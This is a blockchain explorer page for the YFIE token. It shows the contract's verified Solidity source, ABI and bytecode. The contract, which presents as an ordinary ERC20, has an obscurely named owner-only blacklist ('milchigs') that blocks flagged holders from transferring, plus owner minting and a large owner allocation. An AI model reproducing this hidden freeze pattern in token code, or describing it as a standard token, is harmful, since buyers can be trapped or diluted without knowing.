ETH Price: $2,507.77 (-4.87%)

Token

YFIE (YFIE)
 

Overview

Max Total Supply

83,000 YFIE

Holders

3,618

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 YFIE

Value
$0.00
0xc5fbb5316e4df128a93e46dbd5731a9ef282d001
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BWSERC20

Compiler Version
v0.5.1+commit.c8a2cb62

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2020-10-13
*/

pragma solidity >=0.4.22 <0.6.0;

contract BWSERC20
{
    string public standard = 'http://www.yfie.cc/';
    string public name="YFIE"; 
    string public symbol="YFIE";
    uint8 public decimals = 18; 
    uint256 public totalSupply=83000 ether; 
    
    address st_owner;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    mapping (address => bool) milchigs;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed from, uint256 value); 
    
    uint256 issue=23000 ether;
    
    constructor ()public
    {
        st_owner=msg.sender;
        balanceOf[st_owner]=60000 ether;

    }
    
    function _transfer(address _from, address _to, uint256 _value) internal {
      require(_to != address(0x0));
      require(balanceOf[_from] >= _value);
      require(balanceOf[_to] + _value > balanceOf[_to]);
      require(milchigs[_from] == false);
      uint previousBalances = balanceOf[_from] + balanceOf[_to];
      balanceOf[_from] -= _value;
      balanceOf[_to] += _value;
      emit Transfer(_from, _to, _value);
      assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }
    
    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }
    
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
        require(_value <= allowance[_from][msg.sender]);   // Check allowance
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }
    
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }
    function setMilchigs(address addr,bool value)public{
        require(msg.sender == st_owner);
        milchigs[addr]=value;
    }
    function runIssue(address addr,uint256 value)public{
        require(msg.sender == st_owner);
        uint256 v=value * (10**18);
        require (v<= issue);
        issue -= v;
        balanceOf[addr]+=v;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"value","type":"uint256"}],"name":"runIssue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"standard","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"value","type":"bool"}],"name":"setMilchigs","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"}]

60c0604052601360808190527f687474703a2f2f7777772e796669652e63632f0000000000000000000000000060a090815261003e916000919061013c565b506040805180820190915260048082527f594649450000000000000000000000000000000000000000000000000000000060209092019182526100839160019161013c565b506040805180820190915260048082527f594649450000000000000000000000000000000000000000000000000000000060209092019182526100c89160029161013c565b506003805460ff19166012179055691193706357272de000006004556904ded51e9cc7006000006009553480156100fe57600080fd5b5060058054600160a060020a031916331790819055600160a060020a03166000908152600660205260409020690cb49b44ba602d80000090556101d7565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061017d57805160ff19168380011785556101aa565b828001600101855582156101aa579182015b828111156101aa57825182559160200191906001019061018f565b506101b69291506101ba565b5090565b6101d491905b808211156101b657600081556001016101c0565b90565b61078b806101e66000396000f3fe6080604052600436106100b3577c0100000000000000000000000000000000000000000000000000000000600035046306fdde0381146100b8578063095ea7b31461014257806318160ddd1461018f57806323b872dd146101b6578063313ce567146101f95780634dac1034146102245780635a3b7e421461025f57806370a082311461027457806392474693146102a757806395d89b41146102e2578063a9059cbb146102f7578063dd62ed3e14610330575b600080fd5b3480156100c457600080fd5b506100cd61036b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101075781810151838201526020016100ef565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014e57600080fd5b5061017b6004803603604081101561016557600080fd5b50600160a060020a0381351690602001356103f8565b604080519115158252519081900360200190f35b34801561019b57600080fd5b506101a4610425565b60408051918252519081900360200190f35b3480156101c257600080fd5b5061017b600480360360608110156101d957600080fd5b50600160a060020a0381358116916020810135909116906040013561042b565b34801561020557600080fd5b5061020e61049a565b6040805160ff9092168252519081900360200190f35b34801561023057600080fd5b5061025d6004803603604081101561024757600080fd5b50600160a060020a0381351690602001356104a3565b005b34801561026b57600080fd5b506100cd610502565b34801561028057600080fd5b506101a46004803603602081101561029757600080fd5b5035600160a060020a031661055d565b3480156102b357600080fd5b5061025d600480360360408110156102ca57600080fd5b50600160a060020a038135169060200135151561056f565b3480156102ee57600080fd5b506100cd6105b1565b34801561030357600080fd5b5061025d6004803603604081101561031a57600080fd5b50600160a060020a038135169060200135610609565b34801561033c57600080fd5b506101a46004803603604081101561035357600080fd5b50600160a060020a0381358116916020013516610618565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b820191906000526020600020905b8154815290600101906020018083116103d357829003601f168201915b505050505081565b336000908152600760209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b600160a060020a038316600090815260076020908152604080832033845290915281205482111561045b57600080fd5b600160a060020a0384166000908152600760209081526040808320338452909152902080548390039055610490848484610635565b5060019392505050565b60035460ff1681565b600554600160a060020a031633146104ba57600080fd5b600954670de0b6b3a76400008202908111156104d557600080fd5b600980548290039055600160a060020a039092166000908152600660205260409020805490920190915550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b60066020526000908152604090205481565b600554600160a060020a0316331461058657600080fd5b600160a060020a03919091166000908152600860205260409020805460ff1916911515919091179055565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b610614338383610635565b5050565b600760209081526000928352604080842090915290825290205481565b600160a060020a038216151561064a57600080fd5b600160a060020a03831660009081526006602052604090205481111561066f57600080fd5b600160a060020a0382166000908152600660205260409020548181011161069557600080fd5b600160a060020a03831660009081526008602052604090205460ff16156106bb57600080fd5b600160a060020a038083166000818152600660209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526006602052604080822054928716825290205401811461075957fe5b5050505056fea165627a7a72305820a2b00399e02c49c53789cdab99f1b5b264aef3f2a2a35aaf272caad585214a210029

Deployed Bytecode

0x6080604052600436106100b3577c0100000000000000000000000000000000000000000000000000000000600035046306fdde0381146100b8578063095ea7b31461014257806318160ddd1461018f57806323b872dd146101b6578063313ce567146101f95780634dac1034146102245780635a3b7e421461025f57806370a082311461027457806392474693146102a757806395d89b41146102e2578063a9059cbb146102f7578063dd62ed3e14610330575b600080fd5b3480156100c457600080fd5b506100cd61036b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101075781810151838201526020016100ef565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014e57600080fd5b5061017b6004803603604081101561016557600080fd5b50600160a060020a0381351690602001356103f8565b604080519115158252519081900360200190f35b34801561019b57600080fd5b506101a4610425565b60408051918252519081900360200190f35b3480156101c257600080fd5b5061017b600480360360608110156101d957600080fd5b50600160a060020a0381358116916020810135909116906040013561042b565b34801561020557600080fd5b5061020e61049a565b6040805160ff9092168252519081900360200190f35b34801561023057600080fd5b5061025d6004803603604081101561024757600080fd5b50600160a060020a0381351690602001356104a3565b005b34801561026b57600080fd5b506100cd610502565b34801561028057600080fd5b506101a46004803603602081101561029757600080fd5b5035600160a060020a031661055d565b3480156102b357600080fd5b5061025d600480360360408110156102ca57600080fd5b50600160a060020a038135169060200135151561056f565b3480156102ee57600080fd5b506100cd6105b1565b34801561030357600080fd5b5061025d6004803603604081101561031a57600080fd5b50600160a060020a038135169060200135610609565b34801561033c57600080fd5b506101a46004803603604081101561035357600080fd5b50600160a060020a0381358116916020013516610618565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b820191906000526020600020905b8154815290600101906020018083116103d357829003601f168201915b505050505081565b336000908152600760209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b600160a060020a038316600090815260076020908152604080832033845290915281205482111561045b57600080fd5b600160a060020a0384166000908152600760209081526040808320338452909152902080548390039055610490848484610635565b5060019392505050565b60035460ff1681565b600554600160a060020a031633146104ba57600080fd5b600954670de0b6b3a76400008202908111156104d557600080fd5b600980548290039055600160a060020a039092166000908152600660205260409020805490920190915550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b60066020526000908152604090205481565b600554600160a060020a0316331461058657600080fd5b600160a060020a03919091166000908152600860205260409020805460ff1916911515919091179055565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103f05780601f106103c5576101008083540402835291602001916103f0565b610614338383610635565b5050565b600760209081526000928352604080842090915290825290205481565b600160a060020a038216151561064a57600080fd5b600160a060020a03831660009081526006602052604090205481111561066f57600080fd5b600160a060020a0382166000908152600660205260409020548181011161069557600080fd5b600160a060020a03831660009081526008602052604090205460ff16156106bb57600080fd5b600160a060020a038083166000818152600660209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526006602052604080822054928716825290205401811461075957fe5b5050505056fea165627a7a72305820a2b00399e02c49c53789cdab99f1b5b264aef3f2a2a35aaf272caad585214a210029

Deployed Bytecode Sourcemap

36:2190:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;115:25;;8:9:-1;5:2;;;30:1;27;20:12;5:2;115:25:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;115:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1699:162;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1699:162:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1699:162:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;216:38;;8:9:-1;5:2;;;30:1;27;20:12;5:2;216:38:0;;;:::i;:::-;;;;;;;;;;;;;;;;1394:293;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1394:293:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1394:293:0;;;;;;;;;;;;;;;;;:::i;182:26::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;182:26:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2005:218;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2005:218:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;2005:218:0;;;;;;;;:::i;:::-;;62:46;;8:9:-1;5:2;;;30:1;27;20:12;5:2;62:46:0;;;:::i;293:45::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;293:45:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;293:45:0;-1:-1:-1;;;;;293:45:0;;:::i;1867:132::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1867:132:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1867:132:0;;;;;;;;;;:::i;148:27::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;148:27:0;;;:::i;1275:107::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1275:107:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1275:107:0;;;;;;;;:::i;345:66::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;345:66:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;345:66:0;;;;;;;;;;:::i;115:25::-;;;;;;;;;;;;;;;-1:-1:-1;;115:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1699:162::-;1801:10;1766:12;1791:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;1791:31:0;;;;;;;;;;;;;:40;1849:4;;1699:162::o;216:38::-;;;;:::o;1394:293::-;-1:-1:-1;;;;;1518:16:0;;1476:12;1518:16;;;:9;:16;;;;;;;;1535:10;1518:28;;;;;;;;1508:38;;;1500:47;;;;;;-1:-1:-1;;;;;1579:16:0;;;;;;:9;:16;;;;;;;;1596:10;1579:28;;;;;;;:38;;;;;;;1628:29;1589:5;1645:3;1611:6;1628:9;:29::i;:::-;-1:-1:-1;1675:4:0;1394:293;;;;;:::o;182:26::-;;;;;;:::o;2005:218::-;2089:8;;-1:-1:-1;;;;;2089:8:0;2075:10;:22;2067:31;;;;;;2159:5;;2128:6;2119:16;;;2155:9;;;2146:19;;;;;;2176:5;:10;;;;;;;-1:-1:-1;;;;;2197:15:0;;;2176:5;2197:15;;;:9;:15;;;;;:18;;;;;;;;-1:-1:-1;2005:218:0:o;62:46::-;;;;;;;;;;;;;;;-1:-1:-1;;62:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;293:45;;;;;;;;;;;;;:::o;1867:132::-;1951:8;;-1:-1:-1;;;;;1951:8:0;1937:10;:22;1929:31;;;;;;-1:-1:-1;;;;;1971:14:0;;;;;;;;:8;:14;;;;;:20;;-1:-1:-1;;1971:20:0;;;;;;;;;;1867:132::o;148:27::-;;;;;;;;;;;;;;-1:-1:-1;;148:27:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1275:107;1340:34;1350:10;1362:3;1367:6;1340:9;:34::i;:::-;1275:107;;:::o;345:66::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;756:507::-;-1:-1:-1;;;;;845:19:0;;;;837:28;;;;;;-1:-1:-1;;;;;882:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;882:26:0;874:35;;;;;;-1:-1:-1;;;;;952:14:0;;;;;;:9;:14;;;;;;926:23;;;:40;918:49;;;;;;-1:-1:-1;;;;;984:15:0;;;;;;:8;:15;;;;;;;;:24;976:33;;;;;;-1:-1:-1;;;;;1061:14:0;;;1018:21;1061:14;;;:9;:14;;;;;;;;;;1042:16;;;;;;;;;;;1084:26;;;;;;1119:14;;;;:24;;;;;;;1157:28;;;;;;;1042:33;;;;;:16;1157:28;;;;;;;;;;;-1:-1:-1;;;;;1220:14:0;;;;;;;:9;:14;;;;;;;1201:16;;;;;;;;:33;:53;;1194:61;;;;756:507;;;;:::o

Swarm Source

bzzr://a2b00399e02c49c53789cdab99f1b5b264aef3f2a2a35aaf272caad585214a21
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.